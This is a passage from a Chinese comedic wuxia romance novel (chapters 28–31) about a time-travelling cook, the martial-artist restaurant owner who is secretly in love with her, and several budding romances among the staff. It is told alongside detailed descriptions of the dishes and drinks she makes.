张清寒紧闭房门,这才回头直视赵灵元郑重道,“师兄,程六水这个人我保了,不管你们之间到底发生了什么。” 第28章 宫保虾球 如同当头一棒砸到赵灵元的头上,他不禁踉跄了几下差点就没站稳,“你……们……” “师兄数月不见,你怎么还添了结巴的毛病?”张清寒倒似个没事人般坐下来,眼神微微略过了一脸微妙的太白散人又道,“对了,你师父已无大碍,师兄要不接回益州再静养一段日子?” 一个晃神的功夫,太白散人早就躺在床上又一动不动起来,仿佛只有出的气没有进的气了。 “现在是聊静不静养的时候吗?你和那程家人到底是个关系,你竟然不问缘由就要保下她?”赵灵元做了太白散人二十年关门弟子,太白散人一个动作他便心领神会。 他赶紧转移着话题,还将自家师傅硬往床榻里推了推,面上装得是担忧不已,实则就是想围观吃瓜,要债要不到无所谓,瓜是一定要吃好的。 “我知她品性不坏,顶多就是为了程家的事与师兄有些嫌隙,程家已是树倒猢狲散,她又能有什么办法,如此这般保下她有何奇怪?”张清寒显然在顾左右而言他,只是这面上却红润不上,定然是做了什么亏心事的。 赵灵元一听这话,便悄摸地与自家师父挤眉弄眼起来,太白散人乌漆麻黑的眼眶十分灵动,眼皮都要飞了起来,恨不得替他徒弟开口问。 “师弟你不会是单相思吧?”赵灵元接收到了师父接连不断的信号,越接收越皱眉,最后千言万语只汇成了这句令他自己都无法相信的话,他那清冷淡漠常年冰块脸的师弟居然铁树开花了??? 张清寒瞬间从头红到尾,耳朵尖差点就能滴出血来了,“师兄你莫要乱说,对女孩子家声誉不好,我去看看菜做得怎么样了!” 说罢便头也不回地跑了,明明就三两步路的功夫都用上十成十的轻功了,一道虚影“嗖”地一下就消失了。 赵灵元瞧着他落荒而逃的背影,睁圆了眼睛使劲摇晃着他那半死不活还在装死的师父,“师父是真的!” “当然似真的,揪你打光棍。”太白散人幸亏是吃得圆滚滚的,要不然一身骨头架子都得被晃散,但就算是这样,他也不忘用漏风嘴吐槽自己的没出息徒弟。 太白散人确实是六白山里的长老,他收了赵灵元这个小徒弟以后还是不安分得很,总是想着出了山偷摸吃好吃的,可六白山是个隐世门派,即使游走于江湖之中,也都是要隐姓埋名的,故而江湖上无人知晓三大宗师之一的太白散人出自六白山,只道是凭空出世的武学奇才。 至于三年前与张清寒的那场比试,就更是秀才遇到兵,有理说不清了。太白散人就只是潜入了皇宫御膳房里,拿了只八宝葫芦鸭而已,不知怎的吃到一半就被正在宫内巡视的张清寒发现了。 那张清寒小时候就八竿子打不出来句话,长大了一个德性,啥也不说就追着他跑啊,这给太白散人吓得以为是自己犯了什么六白山的禁忌呢,上面派张清寒来捉自己了。 两人一个跑一个追,从皇宫追到京郊,最后都跑到老扫帚峰了,太白散人也是有脾气的,他一摸怀里的八宝葫芦鸭都跑凉了,能不生气嘛。 这二人就在老扫帚峰打起来了,天边太阳刚冒了个头,太白散人将怀里的葫芦鸭妥帖地放在了树荫下,一指真气便朝着张清寒射去,电光火石间张清寒抽出了佩剑,剑锋与真气硬碰硬了下,两人竟都后退了两步。 “张小子几年不见,你可真是了不地啊,都快赶上你师父了。”太白散人纵身一跃,全身真气汇于十指之间,那指力挥洒之际,一旁的百年老树被横穿而过,瞬间应声倒地。 张清寒仍是不语,只是一味地瞅着那地上的葫芦鸭被砸成了个稀巴烂。 太白散人顺着这目光看去,整个人都不好了,恨不得立时坐地上哭爹喊娘起来,“你都是你,我那么大一个葫芦鸭没了全没了。” “你偷鸭在先,怎么还赖起我来了?”张清寒冒着凉气的声音缥缈传来,那无辜还带着指责的语气刹那间点爆了太白散人饿了很久到嘴的鸭子还跑了的脆弱神经。 数道真气“嗖嗖嗖”一股脑砸向了张清寒,张清寒一个扫腿又在空中飞快地越过那如同生了意识般的真气,脚踩几米高的树干脚底如生风了般,任凭太白散人使劲浑身解数也打不到他。 “我看你小子是什么也没学会,就学会逃了!有辱师门啊!”太白散人本就是个老顽童,说出那个话可谓是无中生有闻者气死。 激得张清寒差点在空中跑偏了,好悬没踩进万丈悬崖里,“既然师叔有意较量,那清寒恭敬不如从命了。” 一把寒气逼人的利剑再次亮刃,冰蓝剑气环绕在剑身处,那剑尖比雪山巅最为迅捷的雪豹还快,三五瞬间便刺向了太白散人的肩头。 太白散人吓得一个侧身,好悬好悬头还在,就是头发丝没了几根,两人这才实打实对起阵来。 艳阳高照下,寒霜般的剑气与磅礴真气交缠在了一起,互相掣肘谁也占不得便宜,阵中两个虚影激烈地打斗着,而阵外不知何时聚起了一群武林人士。 他们当中有雁荡派大师兄,雪窦派小师妹,还有武夷派后厨二师傅,林林总总的人加起来能有七八十口子,他们本来是组团郊游来的,不曾想还能有幸瞧见这旷世决战,个个都跟打了鸡血般左看看右看看。 “天爷啊,那不会是太白散人吧?”雪窦派小师妹震惊道。 “就是他,上次他来俺们武夷派吃饭,我在后厨见过他。”二师傅连连点头称是。 “那和他对打如此之久的人是谁?武林中不曾听闻过有如此武艺的年轻人啊。”雁荡派大师兄疑惑发问道。 众人皆是一团雾水,直至张清寒寒霜剑法最后一招,万冰齐碎天地震颤,无数冰凌自剑气而来,将太白散人牢牢困死,任凭那真气如何作怪也没什么用,世间万物在这一瞬已然冰封,待到太白散人反应过来之际,一把利刃早已悬在胸口。 “打完了,师叔以后莫要去宫里偷吃的了。”张清寒收回剑锋,抱拳行礼道。 太白散人真气刹那间回体,吹飞了他鬓角的白发,他还来不及感叹江山代有才人出,就就听到了张小子说什么“偷吃”! “张清寒莫要得意,三年就三年,三年之后我们再来比试。”太白散人追着张清寒道。 张清寒并未应承只是脚尖轻点摇摆的树枝,连着几跃便消失在众人的视线中。 而现下张清寒却不如三年那般镇定自若了,他红着张脸不敢去见程六水,只能打了些凉井水洗脸。 “哎呀东家,你脸咋整的,咋跟猴腚一样呢?”胸口碎大石完美收官的乔四方正准备去后厨吃点好吃的,路过后院直接被吓了一跳。 张清寒本来脸就泡在水盆里,听了这话倒好干脆呛了水,“咳咳咳。” “咋还激动咳嗽了?你不会是发烧了吧?”乔四方撑着一张纯良关切的脸问道。 “……我没事,你哪凉快哪待着去。”张清寒勉强从凉井水里抬起脸来,决定自己还是先找个地缝待会儿吧。 后厨正忙活的程六水听到了院子里吵吵闹闹的声音,不放心地扒开一条门缝,只见张清寒红着脸面颊上还滑落着不知名的水滴,发丝也皆被打湿了,三分狼狈三分可怜还有那十成十的凄美。 程六水的小心脏猛地漏了一拍,心口那只小鹿都快撞飞了,不幸的是眼下的她根本分不清是气愤害怕还是心动,她只能推开门道“东家你没事吧?不会是被万家帮帮主打了吧?” “万家帮帮主?赵灵元吗? 他打不过东家的。“乔四方啃着馒头道。 “没有打架,我只是来看看加的菜做得如何了?”张清寒强装镇定,却根本不敢看程六水,一看她便想起了方才师兄说的话,可他又控制不住,只要她在他便想一直看着她。 “差不多了,东家进来瞧瞧吧。”程六水招呼着。 灶台上两道菜刚刚做好,一道是宫保虾球,另一道则是鱼香肉丝。 “我想着帮主久在益州,定是爱吃些麻辣鲜香的,但老前辈伤还没好,便做了这两道。这宫保虾球酸甜开胃,既有河虾的鲜美又有花生米的香脆,一勺子吃进嘴里,定是满口留香的。 而鱼香肉丝虽用了红油豆酱翻炒,但我后面加了蔗糖香醋调味,中和了红油的辣却保留了其中醇厚的豆香,搭配肉丝的木耳青椒胡萝卜丝皆是解腻清口的菜。“程六水笑道。 “好。”张清寒目不转睛地看着程六水,澄净的眼睛里全是对做好一餐饭的追求。 “帮主不会再向我催债了吧?我还没想起来怎么做呢。”程六水忽然凑近到张清寒耳边小声询问道。 张清寒耳边如细风缕缕缠绕,他仿佛听见了什么,又什么都没听见,只知道那本该褪去绯红的耳朵尖愈发变本加厉地红了起来。 第29章 糖炒栗子 “嘎嘎嘎。”屋外笼子里的红锦鸡叫得正欢,应和着张清寒扑通扑通的心,他微微低下头,鼻翼尖传来了近在咫尺的茉莉香,手心更是不自觉地出起汗来。 忽而六水抬起头来,露出了小心翼翼的眼神,几分不安与害怕瞬间击垮了张清寒所有的想入非非,他心底柔软得一塌糊涂,除了心疼再没有其它。 “放心吧,以后不会有人找你催债了。”张清寒轻声道。 “真的吗?可我不记得我有多少债主了,万一以后还有张三李四王二麻子怎么办?”程六水胆战心惊道,她捂住自己的小心脏惴惴不安着。 “没关系,我来应付他们就好,毕竟整个江湖也没多少人能打得过我。”张清寒浅浅笑道,手痒地想去摸六水的头却又忍住了。 不曾想程六水摇了摇头道,“打人是不对的,暴力解决不了任何问题,等我想起来怎么做那些火器兵器,我还是要做的,毕竟欠债还钱天经地义,但在此之前东家能帮人家应付一下他们就太好了!” 程六水话锋一转,狗腿讨好模样尽显,脸上堆满了狗狗般的笑容,两只葡萄大的眼睛水灵灵地看着张清寒。 张清寒一时语塞,心想正话反话都让她说了,自己对着她能说什么,只能唯君命是从,“好。” 正在后厨取打酒的杜少仲若有所思地看向两人,眉毛一挑便觉着事情不对,清寒不会是要偷偷摸摸给六水涨薪水吧,不然六水哪能朝他笑得那么欢。 而还在啃馒头的乔四方什么也没看出来,他拿着两个馒头就回了大堂,近来酒楼生意实在是好,他那小算盘又有用武之地了。 乔四方站在柜台后面,手指灵活地拨动算盘珠子,招待客人也是细声细语的,与他方才哐哐胸口碎大石的样子截然不同。 “请问你们这有见过这只鸡吗?”一白衣女子翩然来到柜台前询问道。 乔四方定睛一瞧,一眼就认出了这只五彩斑斓的鸡就是关在后院的红锦鸡,“见过,就在后院。” “太好了,我是这只鸡的主人,特意来寻的。”白衣女子顿时眉开眼笑道,这一笑仿若忽如一夜春风梨花尽开,道不出的清丽多姿。 可惜瞎子点灯白费蜡,乔四方压根不懂何为清丽何为多姿,他听了这话仔细打量起眼前女子道“你是雪窦派的?” 白衣女子被问得一愣,这江陵随便一个酒楼账房就能看出自己的出身背景,果然是山外有山人外有人不容小觑啊。 又观这人高高大大面相周正,浓眉大眼间颇具几分智慧,心下更是谨慎起来答道,“正是。” “那你随我来吧。”乔四方领着白衣女子穿过人声鼎沸的大堂,刚掀开后院的帘子,一道指力惊人的真气便呼啸而来,直直射向了白衣女子,吓得那白衣女子侧身倒下。 关键时刻,乔四方一把抓住摇摇欲坠的白衣女子,硬生生一掌挡在了那女子面前,与真气较上了劲,这真气霸道纯厚没有二十年功夫是练不出来。 幸好乔四方也是个练家子,眨眼的功夫便化解了,真气在虚空中停滞了数秒消散开来。 眼前这一幕异常诡异,诡异到愣头青乔四方都察觉了,赵灵元师承太白散人的混元真气尽出,在这小小的后院里直指张清寒。 而张清寒并没拔出佩剑,反而手里端着两道菜,一道是宫保虾球,一道是鱼香肉丝,这两道菜随着他飞来飞去的躲闪,上上下下地飘荡着,一会儿抛在空中,一会儿差点扔到地上。 活像个练杂耍的,还练得相当不错,这么长时间也没把菜撒了。 “臭小子你把菜给我放下再打!”太白散人气得嘴也不瓢了,眼神一个劲盯着虾球,那叫一个馋啊。 “你让灵元师兄停手,我便停手。”张清寒一跃飞到青瓦上,面不改色心不跳道。 “师父我可以停手了吗?”赵灵元眼巴巴地嚎叫道,本来嘛他根本打不过这个小师弟,师父非要让他替师决斗,小心思谁都看得出来,就是想输掉这场三年之约,找个借口留在酒楼蹭吃蹭喝。 张清寒居高临下地看着太白散人,一下子便将宫保虾球连菜带盘抛到空中,刹那间只听太白散人发出撕心裂肺地哀嚎道“停手!” 只见青瓦之上,一道灵活的虚影驭风而舞,酸甜圆滚的虾球与花生米在空中谱写了一场生离死别,却在最后鬼门关关头,遇到了拯救它们的神,尽数落在了圆盘子里,连一滴汤汁都没撒。 “啪啪啪!”程六水情不自禁地鼓起掌来,这么好的手艺以前怎么没发现呢,明天中午换节目了,胸口碎大石不要了,换成张东家杂耍更有意思。 “老家伙,既如此你我三年之约到此了结,你收拾收拾随灵元师兄走吧,这顿饭就当为你送别了,也是我们酒楼招待不周的赔罪。”张清寒将那两道菜也端到了桌子上道。 “哼,算你小子运气好。”太白散人哪里还管这么多,嘴上放着狠话,实则筷子都快得都要跳舞了,一口大虾仁一口马蹄肉饼的。 “赵灵元?”角落里还倚靠在乔四方身旁的白衣女子出声道。 赵灵元听见这声音,不可置信地转头看去,梦回午夜多少眼泪湿了枕畔,仍换不回伊人书信一封,谁知峰回路转竟在此处得见了她。 “雪意,益州一别也有两载了,不知你好不好?”赵灵元此话一出,程六水赶紧掏出必备的糖炒栗子焦香瓜子,顺便递给她的吃瓜好伙伴杜少仲。 “我自然是好,倒是你消瘦了许多,定是不好好吃饭的缘故。”唐雪意佯怒道。 “你莫要生气,我吃了的。”赵灵元见不得心上人蹙眉,赶忙上前解释道,到了跟前才发觉心上人怎么靠在旁人身上,义愤填膺地瞪了乔四方两眼。 乔四方默默地退下,并且抓了把瓜子准备一起看戏。 身后宽厚的肩膀突然抽离,唐雪意先是一愣心里顿时空落落的,她生来是雪窦派受尽宠爱的小师妹,众人捧着长大,江湖不少儿郎皆是她好友,自然了也包括眼前这位久别重逢的赵帮主。 但唐雪意从没有体会过方才的滋味,生死之间,有一人萍水相逢却愿意以身挡住袭击,仁义双全正义凛然,这世间能有如此担当的大丈夫少有了。 那一刻唐雪意心动了,十九年来第一次为男子心动,她想依靠在他宽厚的肩膀上,一同去看那大好河山行侠仗义。 “还不知救命恩人的名字,在下雪窦派唐雪意。”唐雪意转身便看向乔四方问道。 本来正在围观江湖儿女你爱我我不爱你戏码的乔四方,他还在那掰栗子呢,这栗子开口开得别别扭扭的,他怎么也取不出完整的栗子仁,真是生气。 这怎么 突然就话锋一转到他身上了,乔四方挤眉弄眼地看向程六水和杜少仲,这两人整整齐齐地在嗑瓜子,而且是一边意味深长地笑,一边嗑。 “咳咳,我叫乔四方,是这酒楼的账房先生,刚才只是举手之劳不必放在心上。”乔四方挠了挠头道。 “怎能不放在心上呢,要是没有你说不定我小命就不保了。”唐雪意也取过一颗板栗,纤细灵巧的手指轻轻一掰便取出了完整的栗子仁,递给了早已不知所措的乔四方。 一旁的赵灵元整个人都要石化了,他被张清寒默默拉到了饭桌前,神智仍是没有缓过来,“怎会如此?怎会如此啊?” “师兄,你俩两情相悦过?”张清寒关上了房门,夹了一筷子鱼香肉丝放到赵灵元的碗里。 “……没有。”赵灵元恹恹道。 “那她可有对不起你过?”张清寒又倒了杯茶给赵灵元。 “……不曾。”赵灵元哭丧着脸道。 “最后一个问题,你向人家姑娘表白过吗?”张清寒问道。 “我不敢。”赵灵元都要哭了。 “那就吃饭吧,你这只是单相思人家姑娘。”说罢张清寒埋头苦吃了起来。 赵灵元被这么一说,本就难过的心更是扭成一股死结,恨不得眼泪拌饭起来,他崩溃地说道,“你不也是单相思吗!” “我是啊,所以咱俩同是天涯沦落人。”张清寒苦笑道,他勉强留住了六水,怎敢轻举妄动更不敢大胆表白,万一六水一去不回头,他又该如何是好? 而程六水压根不知屋里这些可怜男人苦涩的心,她如同一只掉进瓜子堆里的松鼠,吃得脸颊鼓鼓的,看现场版江湖浪漫武侠剧真是太酷了。 “乔大哥,你方才为我挡的那一下,用的是什么武功?我怎么从未见过。”唐雪意在乔四方身后温柔道。 “我自己练的,不知道叫啥。”乔四方腼腆憨笑道。 “自成一派?那你莫不是可以自己成立门派,将这门功夫发扬光大。”唐雪意惊叹于乔四方的无师自通,她是见识过那一掌的威力的,这位乔大哥年纪轻轻就有如此身手,定是个武学奇才。 乔四方嘿嘿笑了两声道,“你的鸡,我要去接着算账去了。”他提着一只扑闪着翅膀挣扎的红锦鸡递给了唐雪意,自己急匆匆地就跑了,收钱收钱没什么比收钱更重要! 第30章 橙意满满茶 临近冬至,酒楼生意愈发好了起来,各个桌上摆着铜锅炭火,烧得人里外都暖烘烘的。除了这暖身十二锅,近来十全酒楼更推出了些独特的奶茶饮子。 盛在竹筒里缕缕暖意便透了出来,捧着喝上一口茶香四溢奶香醇厚,里面还放了弹牙圆滚的芋圆和红豆,江陵小姐们爱极了,纷纷遣人来买,那程六水的小脑袋瓜滴溜溜又转了起来,这不就是外卖吗! 如今街上人人都穿上了夹棉的袄子,手都得藏在袖套里,这般冷还能出门吃饭饮酒的毕竟不多,若是酒楼寻些脚程快的伙计直接送菜上门,估计下月盈余得足足翻上一倍。 想着想着,程六水就自顾自地“咯咯”笑了起来,而一旁的马陶陶就没这样的好心情了,她刚刚送走了今日最后一桌客人,累极了回来映入眼帘的便是令她无比烦躁的一幕。 长身立于柜台前的乔四方仍在忙不迭地算账,这本是日日稀松平常的场景,可今日他身边还有个叽叽喳喳说个不停的雪窦派唐雪意。 自那日乔四方为这唐雪意挡了那么一下,可真是了不得了,唐雪意一口一个“乔大哥”的叫着,还赖在酒楼不走了,说是不出一月雪窦派诸人也要赶赴江陵,届时江陵渠江早已结冰,正是他们雪窦派年轻一辈比试的时候。 雪窦派在江湖上虽不是炙手可热的门派,却也是传承十余代的名门正派,自是有着自己的独门绝技,那便是凤鸣鲤跃鞭,这鞭法极难练成,需得四五岁起的童子功日日挥鞭将那鞭子练得比自个儿的手都听话,指东不敢跑西,而这才是基本功而已。 而这凤鸣鲤跃鞭难就难在一招一式皆是按那圣物红锦鸡飞舞的姿势得来的,红锦鸡一飞能飞出二里地去,这雪窦派的弟子就得一边驾驭轻功一边施展鞭法。 而最为关键的则是“鲤跃”二字,要在寒冬腊月里冰面上凿出个小洞,年轻一派的弟子们要在冰上施展出这一百零八式凤鸣鲤跃鞭法,最后一式细软的鞭子需一招击中冰面上的小洞,将那潜藏在冰河下的锦鲤跃出,方成此鞭法。 唐雪意便是雪窦派前来勘察冰面的,她去岁便成此鞭法,也算得上是年轻一辈中的佼佼者,只不过如今这位佼佼者貌似还有更重要的事,比如跟着乔四方。 “她怎么还不走啊?这都要宵禁了。”马陶陶立着眼睛道。 “不过半柱香肯定是要走的,这几日都是如此。”赵玉雨正在勤快地擦桌子道,唐雪意下榻在城东客栈,离酒楼倒也不算远。 “今日唐女侠点了一酸菜白肉锅,一盘锅包肉,一盘软炸里脊,一盘五彩大拉皮,还有三杯芋芋奶茶,她要能天天来,店里得赚不老少。”程六水从刚才送外卖的幻想中出来了,转头又扎进了另一个发财梦里。 马陶陶恹恹地撇起嘴不说话,没一会儿还不等唐雪意走,她就走了。 “六水,陶陶是不是生气了?”赵玉雨收拾完碗筷轻声问道。 “生气?你是说?”程六水圆溜溜的大眼睛不停地在乔四方和唐雪意身上徘徊,这才反应过来,不能吧能吗? 宵禁后的酒楼十分清净,伙计们一身疲惫地回房去了,东家开开心心地去送别死皮赖脸的太白散人和少男伤怀的赵帮主了。 “咚咚咚。”程六水端着一壶“橙意满满茶”轻轻敲着马陶陶的门,连敲了几下也未见里面有回声,她只以为是马陶陶睡了。 还未转身离去,便听门吱呀一声开了,马陶陶披了一兔毛袄毛茸茸得可爱,依旧撇着嘴道,“还不进来。” “是是是大小姐,小的这就进来。”程六水不厚道地笑了,将手中那温热饮子递给了马陶陶,关上门来暖和得很,炭盆烧得滚烫,里面还有些刚丢进去的信。 程六水本就是个促狭性子,竟蹲下来歪着头细细读了起来,“长兄见字如晤,酒楼此处俱不好,尤其是那姓乔的账房格外惹人嫌……”没想到还真被玉雨说中了,骄矜富家小姐与魁梧憨直杀手的故事,这不是穿越前小说榜单上正流行的题材吗? “哎呀你这人怎么偷看别人的信啊。”马陶陶气得背过身去不说话,显然是受了不小的委屈。 “好啦好啦,我这不是知道错了特地来赔罪吗?你看我新拟的方子,将那橙子去皮剥丝大力捶打一番,加入泡制好的六安瓜皮茶,再用今秋收上来的上好蜂蜜中和茶的苦涩,最后挤上几滴柠檬汁就成了,怎么样要不要尝尝?”程六水凑近了些,靠在马陶陶肩膀上软绵绵说道。 “我才不喝呢。”马陶陶眼神飘忽嘴巴微张,明明抵抗不了如此诱惑,却还嘴硬得很。 “真的吗?我方才做了这些,就想着你见识最多肯定能鉴赏一二,尤其是那柠檬汁还是我从码头搞来的稀罕物,可怜我这一片心意当真是白费了。”程六水装得有模有样,最后还抹了两下眼角,好似还真的哭出来了似的。 结果她刚放下擦拭眼泪的手,就见马陶陶捧着盏子饮了一大口,“嗝真好喝,暖暖的甜甜的。” “这下不生气了吧?”程六水不禁偷笑起来道。 “不生你的气了,但还生别人的气。”马陶陶一边嚼着粒粒爆汁的橙子,一边说着,好似一只贪吃的小白兔。 “谁啊?不会是认真努力算账,还卖力表演胸口碎大石的账房先生吧?”程六水揶揄道。 “我可没看出他哪里努力,天天和别人聊天,这账说不定都算不明白了。”马陶陶大力地拍打着老榆木的桌面,程六水一听都替她手疼。 “是是是,乔四方一点都不努力,而且他这人又傻又笨的不讨人喜欢。”程六水抿着嘴故作刻薄说道。 马陶陶听到这不说话了,想了半天才开口道,“他也没那么差,识文断字还会算数,武功也很不错的。” “哦~~~”程六水扑哧一下笑出了声,此时屋外又传来了敲门声,打开门是低着头的赵玉雨。 “我看陶陶屋里还亮着,怕她晚上生气没吃好,就拿了些糕团来。”赵玉雨递过那泽轩斋的糕团就要转身离开。 “玉雨别走呀,你来得正好,我啊刚做了新的饮子,糕团配饮子正正好,你 也一起来吧。“程六水拉住了纤瘦的赵玉雨,马陶陶在一旁随声应和道。 赵玉雨这才进屋坐了下来,她平素里就极少说话,此时更是不开口了,她知道这酒楼里都是好人。可她害怕,害怕如影随形的噩梦再次袭来,害怕这次真的逃不脱鬼门关。但再多愁善感的人儿碰到脑回路不太正常的程六水都只能被动接受命运的安排。 “来跟我说,啊。”程六水张着嘴巴道。 “啊。”赵玉雨不自觉地张开嘴,结果一个豆沙小卷就塞到了她嘴里,来不及拒绝因为嘴都被占满了。 “多吃点甜的会开心哦。”程六水道,随后转头看向吃得正欢的马陶陶道,“现在不生气了吧?” 这豆沙小卷着实粘牙,马陶陶嚼了好一会儿才说道,“我也不是生气,就是看见乔四方就心烦,成天就知道滋个大牙傻乐,乐给谁看呀。” “你又不是第一天认识四方,他不一直都那样吗?怎么就心烦了?”程六水道。 “因为因为……”马陶陶难得结巴了起来。 “是因为唐小姐吧?”赵玉雨接话道,她一双杏眼微睁,细细瞧人时便是说不出温柔。 马陶陶顿时脸涨红了起来,慌得跟个被人薅住尾巴的兔子一样,恨不得立时上蹿下跳起来,欲开口辩解可直直戳中心事,又能从何处辩解,最后只得一句,“我不是嫉妒她会武功还生得好看,我就是心里不舒服。” “这很正常的,你若是心悦一个人,便会无端生出许许多多独占的心思来。”赵玉雨温和笑道,她舒展开了弯眉,如江南烟雨般朦胧。 这回马陶陶彻底坐不住了,她跳起来咋咋呼呼在屋子里到处乱窜道,“没有心悦没有心悦,你们不要瞎说。” “玉雨我发现你真是观人于微心细如发,这摆明了就是心悦嘛。”程六水故意不理马陶陶,拉着赵玉雨的手夸赞道,话锋接着一转,“那你再看看,乔四方是喜欢唐小姐呢,还是我们陶陶呢?” 这下马陶陶不蹦跶了,老老实实坐好,竖着耳朵听得比谁都认真。 赵玉雨眉间微蹙反复思量道,“我看不出,但试一试总是能知道的。”她俯身在其余两人耳畔窃窃私语,程六水听得连连点头,马陶陶则是羞得头快低到桌子下面了。 三人密谋完已是亥时二刻了,程六水兴致勃勃地从马陶陶房间里出来,身后跟着欲言又止的赵玉雨。 “……六水,我虽然看不出四方喜欢谁,但我来酒楼这些日子看出了些别的。”赵玉雨今夜敞开了心扉,好些话就再也搂不住了。 “看出了什么?快说快说。”程六水闻听又有八卦,开心坏了。 “我只是猜的,东家似乎对你有意。”赵玉雨轻声道。 “???”程六水大脑瞬间一片空白,一顿火花带闪电直接宕机了。《 》 30-40 第31章 粥火锅 那夜电闪雷鸣,屋外轰隆隆的雷声锤击着大地,屋内程六水窝在小被子里辗转反侧,捂着耳朵闭着眼睛依然控制不住乱跳的心脏,触目可及的黑暗里是她攥紧的手和止不住的叹气。 无数个问号充斥在程六水脑袋里,东家喜欢她?什么是喜欢?她怎么看不出来? 东家要是真喜欢她,那不就是职场大忌——办公室恋情吗?难道她这次穿越是要来一场我和我的霸总东家不得不说得一百八十回爱情故事? 这可不成,程六水上辈子是见识过血淋淋的例子的,当时她初入社会进了一家管吃管住的小饭店,和几个服务员小姐姐住上下铺,八个人住在十平米的房子里。 其中有个比她还小的女孩,来了没几天就和饭店老板的儿子处对象了,满脸的甜蜜白天干活更是卖力。程六水是很为女孩开心,但这个故事的结局并不好,没有什么有情人终成眷属,只有无尽的谩骂与指责,而且那个女孩最后还丢了工作。 而无论是上辈子的程六水还是这辈子的程六水,工作于她而言都是最重要的,不是因为她热爱劳动,仅仅是她真的是有点穷的,如今她这兜里算上这几月的工钱和提成,总共是十两八文钱。 杜尚书当初承诺给她的十金,她还没要到手,这个老狐狸就跑没影了,真是令她声泪俱下。只能不断安慰自己本本分分挣来的钱才最牢靠,这种飞来横财不要也罢,当然了程六水一想到此事,就给杜少仲的饭里加点无伤大雅的佐料,父债子偿天经地义嘛。 要是她没了工作,那就是也没了供吃住的地方,如今江陵一处极小的屋子租来每月也要一两,若是要买那没上百两是下不来的,她哪里有这个钱啊。 程六水就算是再找个做工还能供吃供住的地方,多半是给不到一月二两的,而且她不得不承认张东家是个好东家,事少钱多还没架子,打着灯笼都找不到的工作她是绝不会因为什么情情爱爱丢掉的。 况且那张东家不止是个生意人,这几个月相处下来,程六水早已知晓此人不仅武功高强还是个大官,关键是长得英俊潇洒玉树临风,这样的人在现代就是程六水八辈子都遇不到,更甭提这样的人会喜欢她,再说了若是真的喜欢她为何不说与她听呢? 程六水思及此处觉着甚有道理,在被子里眯着眼睛连连点头,玉雨肯定是老马失蹄看错了,沉甸甸的雨滴拍打在窗外,程六水终于昏昏沉沉地睡着了,这回嘴角是上扬的。 张清寒的卧房在酒楼的二楼,他这一夜倒是没睡好做了许多梦,梦里程六水比往日乖巧很多,会温柔地叫他清寒。 “清寒,你可以过来一下吗?”夕阳下的程六水格外婉约娇俏,笑盈盈的脸上闪过灵动的狡黠。 张清寒不由自主地走了过去,他来到程六水的面前没忍住摸了摸她垂落在脸颊上的细发,程六水莞尔一笑好似蜜糖。 “轰隆隆”一声,大地仿佛在震颤,张清寒以为是地动,想去抓住程六水的手快跑,可他没有抓到。只听耳边传来程六水冰冷的声音,“你称称,够不够称?” 张清寒这才发觉自己被关进了巨大的铁笼子里,任凭他怎么捶打都固若金汤牢不可破,半人高的车轮将这笼子和他运向远方。 程六水扛着两麻袋金条,笑得异常灿烂道,“清寒~再见哦~” “不!!!”张清寒浑身冷汗地吓醒了,他梦见自己被程六水卖了,更可悲的是他真的觉得,自己和两麻袋金条比起来,程六水真的会选择金条。 翌日雨过天晴,一只扑棱着肥翅膀的灰鸽子忽闪忽闪飞走了,承载着张清寒深沉的忧伤。 站在柜台后的乔四方从密密麻麻账本中一抬头就看见了一张极为幽怨的脸,可给他吓了一跳,“东家,你没事吧?” 张清寒愣了两下才回过神,面如菜色道“我没事。” “那我能问你个事吗?”乔四方悄摸摸凑近小声道。 “何事?” “唐女侠昨日同我说,让我加入他们雪窦派,还说凭我这武功见识,不出五年就能是掌门候选人。”乔四方皱眉道。 张清寒这才饶有兴致地挑了挑眉,“有意思她这是要从我这挖人啊,不过她说错了一点。单论武功,雪窦派现任掌门人早已不是你的对手了,又何须五年?” “不是五年的事,是我觉着唐女侠这人有点怪。”乔四方挠了挠头欲言又止道。 “哪里怪?” “她的眼神怪,你看你看。”乔四方大眼珠子斜着朝着一个方向。 张清寒顺着一瞧,那唐雪意又点了一大桌子菜,这回点的是粥底火锅最是滋补养胃,煮得软糯香甜的米粒在乳白的粥水里翻滚着,这时正是下蛤蜊海蛎子的好时候,将这海物的鲜美尽数煮进锅底里,再涮上几只肥美个大的鲜虾,虾子由青转红连粥底跟着变得金黄可口。 除了这些,那桌上还有薄如宣纸的鲈鱼片,鲜切的嫩牛肉还有一大盘水灵灵的小青菜,自然了也少不了山里雨后长出来的菌子。 “她点的是挺多的,这可是老客户了等会儿记得打折。“张清寒难得厚道地说道。 “我说的不是菜,是眼神!东家你快看,是不是像是狐狸见了鸡崽子一样。”乔四方往后缩了缩道。 张清寒定睛又一看,那唐雪意正含情羞涩地望向他身后的乔四方,似看似不看还真是犹抱琵琶半遮面,颇有情致,“乔子啊,你说是她眼神不好,还是你眼神不好啊?” 乔四方瑟缩了两下,抿着嘴挎着脸道,“东家你莫要开我玩笑了,我怀疑她说什么要让我当雪窦派掌门候选人的话,都是骗我的,定有旁的目的。” “那你说说什么目的?”张清寒听这话,点了点头这小子还是孺子可教的嘛。 “她要害我,要把我拐卖了!”乔四方大大的身子缩到了柜台的角落里,眼珠子乱转道。 “……你,你这话又是怎么个说法?”张清寒本就在隐隐作痛的脑袋更痛了,他招的伙计他忍了。 “她这几日对我可好了,天天围着我也不走,这就不对!”乔四方道。 张清寒被气笑了,他倒是想让程六水天天围着他呢,哪有这好事啊,“哪不对了?” “无事献殷勤,非奸即盗。我以前被卖进斗兽场当奴隶的时候,就是先给我了一颗糖吃,之后我就什么都不知道了。”乔四方道。 张清寒眨了眨眼睛,才恍然大悟这厮怎么会如此想,原来症结在这了,只得拍了拍他的肩膀道,“放心吧她不会拐卖你的,不过你最近有惹到陶陶吗?” 马陶陶挂着标准的八颗牙笑容,又给唐雪意上了一盘凉拌金针,那态度令人如沐春风,转过脸来就恶狠狠地盯着乔四方。 “陶陶克制一点,你这不是喜欢四方,这是要吃了他。”赵玉雨拿着抹布擦桌子道。 “吃了他,我恨不得扒他的皮,喝他的血,吃他的肉。你看他看唐女侠的眼神,躲躲闪闪还要看,一看就不是个好人。”马陶陶咬牙切齿道。 乔四方正好与马陶陶对视上了,他对着吹胡子瞪眼睛的马陶陶,咧开嘴傻呵呵大笑,这一笑马陶陶还真不说话了,红着脸撇着嘴去招待客人了。 张清寒在一旁目睹这一切,心下感慨万千,还真是一个猴一个拴法。 